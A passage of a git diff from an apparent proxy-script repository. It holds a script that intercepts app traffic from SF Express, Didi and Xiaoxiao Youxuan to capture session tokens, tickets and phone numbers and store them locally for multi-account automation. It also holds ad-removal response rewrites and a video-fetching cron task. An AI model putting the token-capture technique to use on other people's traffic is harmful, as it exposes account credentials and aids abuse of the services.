捉以下几种url之一,把整个url放到变量 sfsyUrl 里,多账号换行分割 + * @keyword sfsyBee + * @keyword fmz200_sf_bee + */ + if (req_url.includes("/mcs-mimp/share/weChat/shareGiftReceiveRedirect") || req_url.includes("/mcs-mimp/share/app/shareRedirect")) { + console.log('顺丰速运 开始'); + $.write(req_url, '#sfsyBee'); + $.write(req_url, '#fmz200_sf_bee'); + $.notify('顺丰速运 获取成功✅', req_url, req_url); + console.log('顺丰速运 获取到的内容为:' + req_url); + } + + /** + * 滴滴获取token + * + * @keyword ddgyToken 多账号换行或者@隔开,格式uid&token。uid不可随便填,根据uid更新数据 + * @keyword fmz200_didi_fruit 多账号换行或者@隔开,格式uid&token。uid不可随便填,根据uid更新数据 + */ + if (req_url.includes("/api/game/plant/newWatering")) { + console.log('滴滴果园token 开始'); + let data = JSON.parse(req_body); + let uid = data.uid; + let newToken = data.token; + console.log(uid + "获取到token:" + newToken); + + let cache = $.read("#fmz200_didi_fruit") || "{}"; + $.log("读取缓存数据:" + cache); + let json_data = parseDataString(cache); + updateToken(uid, newToken, json_data); + let string_data = convertDataToString(json_data); + + $.write(string_data, '#ddgyToken'); + $.write(string_data, '#fmz200_didi_fruit'); + $.notify('滴滴果园token 获取成功✅', string_data, string_data); + console.log('滴滴果园token 获取到的内容为:' + string_data); + } + + /** + * 滴滴打车 + * + * @keyword fmz200_didi_ticket 多账号换行或者@隔开,格式uid&token。uid不可随便填,根据uid更新数据 + */ + if (req_url.includes("/login/v5/signInByOpenid")) { + console.log('滴滴打车 开始'); + let data = JSON.parse(rsp_body); + let uid = data.uid; + let ticket = data.ticket; + console.log(uid + "获取到ticket:" + ticket); + + let cache = $.read("#fmz200_didi_ticket") || ""; + $.log("读取缓存数据:" + cache); + let json_data = parseDataString(cache); + updateToken(uid, ticket, json_data); + let string_data = convertDataToString(json_data); + + $.write(string_data, '#fmz200_didi_ticket'); + $.notify('滴滴打车 获取成功✅', string_data, string_data); + console.log('滴滴打车 获取到的内容为:' + string_data); + } + + /** + * 晓晓优选 获取cookie + * + * @url https://xxyx-client-api.xiaoxiaoyouxuan.com/my + * @keyword fmz200_xxyx_token 打开APP点击“我的”页面获取 + */ + if (req_url.includes("xxyx-client-api.xiaoxiaoyouxuan.com/my")) { + console.log('晓晓优选 开始'); + const token = req_headers['xx-token']; + let rsp_data = JSON.parse(rsp_body).data; + if (token && rsp_data) { + let mobile = rsp_data.mobile; + let username = rsp_data.nick; + let avatar = rsp_data.avatar; + console.log(`获取到uid:${mobile},username:${username}`); + + let cache = $.read("#fmz200_xxyx_token") || "[]"; + console.log("读取缓存数据:" + cache); + + let json_data = JSON.parse(cache); + updateOrAddObject(json_data, "mobile", mobile, "username", username, "token", token, "avatar", avatar); + const cacheValue = JSON.stringify(json_data, null, "\t"); + + $.write(cacheValue, '#fmz200_xxyx_token'); + $.notify('晓晓优选token 获取成功✅', '', ''); + } else { + $.notify('晓晓优选token 获取失败❗️', '', ''); + } + } + +} catch (e) { + console.log('脚本运行出现错误:' + e.message); + $.notify('获取Cookie脚本运行出现错误❗️', "", ""); +} +$.done(); + +// 将数据字符串解析为对象 +function parseDataString(dataString) { + let data = {}; + // 使用正则表达式匹配换行符号和@符号进行拆分 + let parts = dataString.split(/[\n@]/); + parts.forEach(part => { + // 对每个部分再根据 "&" 符号拆分为 uid 和 token + let [uid, token] = part.split("&"); + if (uid && token) { + data[uid] = token; + } + }); + return data; +} + +// 接受可变数量的参数对(id, key),并使用循环来处理这些参数对。 +// 如果找到了匹配的对象,则在后续参数对中更新对应的属性值;如果未找到,则创建一个新对象并将其添加到集合中。 +// 第一对数据是主键 +function updateOrAddObject(collection, ...args) { + if (args.length % 2 !== 0) { + throw new Error('Arguments must be provided in pairs.'); + } + + for (let i = 0; i < args.length; i += 2) { + const id = args[i]; + const key = args[i + 1]; + const index = collection.findIndex(obj => obj[id] === key); + + if (index !== -1) { + // 如果找到了,则更新对应的属性值 + for (let j = i + 2; j < args.length; j += 2) { + const id2 = args[j]; + const value = args[j + 1]; + collection[index][id2] = value; + } + } else { + // 如果未找到,则新增一个对象并添加到集合中 + const newObj = {}; + for (let j = i; j < args.length; j += 2) { + newObj[args[j]] = args[j + 1]; + } + collection.push(newObj); + break; + } + } +} + +// 更新数据对象中指定 UID 的 Token +function updateToken(uidToUpdate, newToken, data) { + if (data.hasOwnProperty(uidToUpdate)) { + // 如果 UID 存在,则更新其对应的 Token + data[uidToUpdate] = newToken; + console.log("Token updated successfully for UID: " + uidToUpdate); + } else { + // 如果 UID 不存在,则新增 UID 和对应的 Token + data[uidToUpdate] = newToken; + console.log("New UID and Token added successfully: " + uidToUpdate); + } +} + +// 将对象转换为 uid&token 格式的字符串 +function convertDataToString(data) { + let result = ""; + for (let uid in data) { + if (data.hasOwnProperty(uid)) { + result += `${uid}&${data[uid]}@`; + } + } + // 移除末尾的 '@' 符号 + result = result.slice(0, -1); + return result; +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ diff --git a/Scripts/coolapk.js b/Scripts/coolapk.js new file mode 100644 index 00000000..616f9e50 --- /dev/null +++ b/Scripts/coolapk.js @@ -0,0 +1,84 @@ +/** + * @function 酷安广告 + * @date 2023-11-15 17:20:00 + * @quote RuCu6 + */ + +const url = $request.url; +if (!$response.body) $done({}); +let obj = JSON.parse($response.body); + +if (url.includes("/feed/detail")) { + if (obj.data?.hotReplyRows?.length > 0) { + obj.data.hotReplyRows = obj.data.hotReplyRows.filter((item) => item?.id); + } + if (obj.data?.topReplyRows?.length > 0) { + obj.data.topReplyRows = obj.data.topReplyRows.filter((item) => item?.id); + } + const item = ["detailSponsorCard", "include_goods", "include_goods_ids"]; + for (let i of item) { + if (obj.data?.[i]) { + obj.data[i] = []; + } + } +} else if (url.includes("/feed/replyList")) { + if (obj.data?.length > 0) { + obj.data = obj.data.filter((item) => item?.id); + } +} else if (url.includes("/main/dataList")) { + if (obj.data?.length > 0) { + obj.data = obj.data.filter((item) => !(item?.entityTemplate === "sponsorCard" || item?.title === "精选配件")); + } +} else if (url.includes("/main/indexV8")) { + if (obj.data?.length > 0) { + obj.data = obj.data.filter( + (item) => + !( + item?.entityTemplate === "sponsorCard" || + item?.entityId === 8639 || + item?.entityId === 29349 || + item?.entityId === 33006 || + item?.entityId === 32557 || + item?.title?.includes("值得买") || + item?.title?.includes("红包") + ) + ); + } +} else if (url.includes("/main/init")) { + // 整体配置 + if (obj.data?.length > 0) { + let newDatas = []; + for (let item of obj.data) { + // 944热门搜索 945开屏广告 6390首页Tab + if ([944, 945, 6390]?.includes(item?.entityId)) { + continue; + } else { + if (item?.entityId === 20131) { + // 发现页 顶部项目 + if (item?.entities?.length > 0) { + let newEnts = []; + for (let i of item.entities) { + if (i?.title === "酷品") { + continue; + } else { + newEnts.push(i); + } + } + item.entities = newEnts; + } + } + newDatas.push(item); + } + } + obj.data = newDatas; + } +} else if (url.includes("/page/dataList")) { + if (obj.data?.length > 0) { + obj.data = obj.data.filter( + (item) => + !(item?.title === "酷安热搜" || item?.entityTemplate === "imageScaleCard" || item?.entityTemplate === "sponsorCard") + ); + } +} + +$done({ body: JSON.stringify(obj) }); diff --git a/Scripts/cyys.js b/Scripts/cyys.js new file mode 100644 index 00000000..51713a47 --- /dev/null +++ b/Scripts/cyys.js @@ -0,0 +1,9 @@ +let obj=JSON.parse($response.body); +delete obj.data.INDEX_SLOT_01; +delete obj.data.INDEX_SLOT_02; +obj.data?.INDEX_TOP_BANNER?.contents?.forEach(item => { + delete item.bubble; + delete item.figure; + item.value = "https://raw.githubusercontent.com/jizhi0520/QX/main/cyyss.jpg"; +}); +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/dianyinglieshou.js b/Scripts/dianyinglieshou.js new file mode 100644 index 00000000..24cd8d80 --- /dev/null +++ b/Scripts/dianyinglieshou.js @@ -0,0 +1,37 @@ +/** + * @author fmz200 + * @function 电影猎手 + * @date 2024-10-11 20:16:13 + */ + +let requestUrl = $request.url; +let responseBody = $response.body; + +let obj = JSON.parse(responseBody); + +// ^https:\/\/app-v1\.ecoliving168\.com\/api\/v1\/movie\/index_recommend\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/dianyinglieshou.js +// +// hostname = app-v1.ecoliving168.com +if (requestUrl.includes("/api/v1/movie/index_recommend?")) { + // 判断obj.data是否存在且是数组 + if (Array.isArray(obj.data)) { + console.log('去广告开始💕'); + // 遍历obj.data中的每个元素 + obj.data = obj.data.filter(item => { + // 如果item.layout等于'advert_self',则不保留这个元素 + if (item.layout === 'advert_self') { + return false; + } + + // 如果item.list是数组,则遍历并处理list中的元素 + if (Array.isArray(item.list)) { + item.list = item.list.filter(subItem => subItem.type !== 3); + } + + return true; // 保留其他元素 + }); + } + console.log('去广告结束💕'); +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/didi/didiAds.js b/Scripts/didi/didiAds.js new file mode 100644 index 00000000..bb58512d --- /dev/null +++ b/Scripts/didi/didiAds.js @@ -0,0 +1,78 @@ +// 2024-08-20 09:49 +/*需要分流禁用掉 +ip-cidr, 123.207.209.39/32, reject +ip-cidr, 123.207.209.60/32, reject +ip-cidr, 139.199.240.12/32, reject +ip-cidr, 162.14.157.2/32, reject +ip-cidr, 162.14.157.24/32, reject +群友EDDA分享 +ip-cidr, 139.199.240.15/32, reject +*/ + +const url = $request.url; +if (!$response.body) $done({}); + +let obj = JSON.parse($response.body); + +if (url.includes("/other/pGetSceneList")) { + if (obj.data?.scene_list instanceof Array) { + obj.data.scene_list = obj.data.scene_list.filter(item => item.text !== "优惠商城"); + } + if (obj.data?.show_data instanceof Array) { + obj.data.show_data.forEach((block) => { + if (block.scene_ids instanceof Array) { + block.scene_ids = block.scene_ids.filter(id => id !== "scene_coupon_mall"); + } + }); + } +} + +if (url.includes("/homepage/v1/core")) { + const keepNavIds = ['dache_anycar', 'driverservice', 'bike']; + if (obj.data?.order_cards?.nav_list_card?.data) { + obj.data.order_cards.nav_list_card.data = obj.data.order_cards.nav_list_card.data.filter(item => keepNavIds.includes(item.nav_id)); + } + const keepBottomNavIds = ['v6x_home', 'home_page', 'user_center']; + if (obj.data?.disorder_cards?.bottom_nav_list?.data) { + obj.data.disorder_cards.bottom_nav_list.data = obj.data.disorder_cards.bottom_nav_list.data.filter(item => keepBottomNavIds.includes(item.id)); + } +} + +if (url.includes("/ota/na/yuantu/infoList")) { + if (obj.data?.disorder_cards?.top_banner_card?.data[0]?.T === "yuentu_top_banner") { + obj.data.disorder_cards.top_banner_card.data.splice(0, 1); + } +} + +if (url.includes("/gulfstream/passenger-center/v2/other/pInTripLayout")) { + const namesToRemove = ["passenger_common_casper"]; + obj.data.order_components = obj.data.order_components.filter( + component => !(component.name && namesToRemove.includes(component.name)) + ); +} + +if (url.includes("/usercenter/me")) { + const excludedTitles = ['天天领福利', '金融服务', '更多服务', '企业服务', '安全中心']; + + if (obj.data?.cards) { + obj.data.cards = obj.data.cards.filter(card => !excludedTitles.includes(card.title)); + + obj.data.cards.forEach(card => { + if (card.tag === "wallet") { + if (card.items) { + card.items = card.items.filter(item => item.title === "优惠券"); + } + if (card.card_type === 4 && card.bottom_items) { + card.bottom_items = card.bottom_items.filter(item => item.title === "省钱套餐" || item.title === "天天神券"); + } + } + }); + } +} + +// 微信小程序 +if (url.includes("/common/v5")) { + obj.data.sections = obj.data.sections.filter(item => ["center_v2", "head_v2", "core_function"].includes(item.sectionId)); +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/douyin/my_girl_video.js b/Scripts/douyin/my_girl_video.js new file mode 100644 index 00000000..4df75705 --- /dev/null +++ b/Scripts/douyin/my_girl_video.js @@ -0,0 +1,42 @@ +/** + * 作者:@fmz200 + * 日期:2024-09-09 23:00 + * 作用:定时获取小姐姐的视频链接,长按通知可直接观看,点击通知即可跳转 + * 配置:可以订阅task脚本,也可以添加下方配置 + * + * QX使用: + * [task_local] + * 18 0 8-22 * * ? https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/douyin/my_girl_video.js, tag=小姐姐视频, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/18Plus.png, enabled=true + * + * Loon使用: + * [Script] + * cron "18 0 8-22 * * ?" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/douyin/my_girl_video.js, timeout=300, tag=小姐姐视频, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/18Plus.png, enable=true + */ + +const $ = new Env("小姐姐视频"); + +const myRequest = { + url: `https://api.kuleu.com/api/xjj?type=json`, + method: `GET` +}; + +$.http.post(myRequest).then(response => { + console.log("响应码:" + response.statusCode + "\n\n响应体:" + response.body + "\n\n"); + const data = JSON.parse(response.body); + if (data.code === 200) { + // 点击通知跳转open-url,长按通知可直接显示media-url内容 + const attach = {"open-url": data.video, "media-url": data.video} + const detail = ""; + $.msg("获取小姐姐短视频成功💖", "长按本通知直接看,点击可跳转💖", detail, attach); + $.done(); + } else { + $.done(); + } +}, reason => { + console.log(reason.error); + $.done(); +}); + +//////////////////////////////// +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let 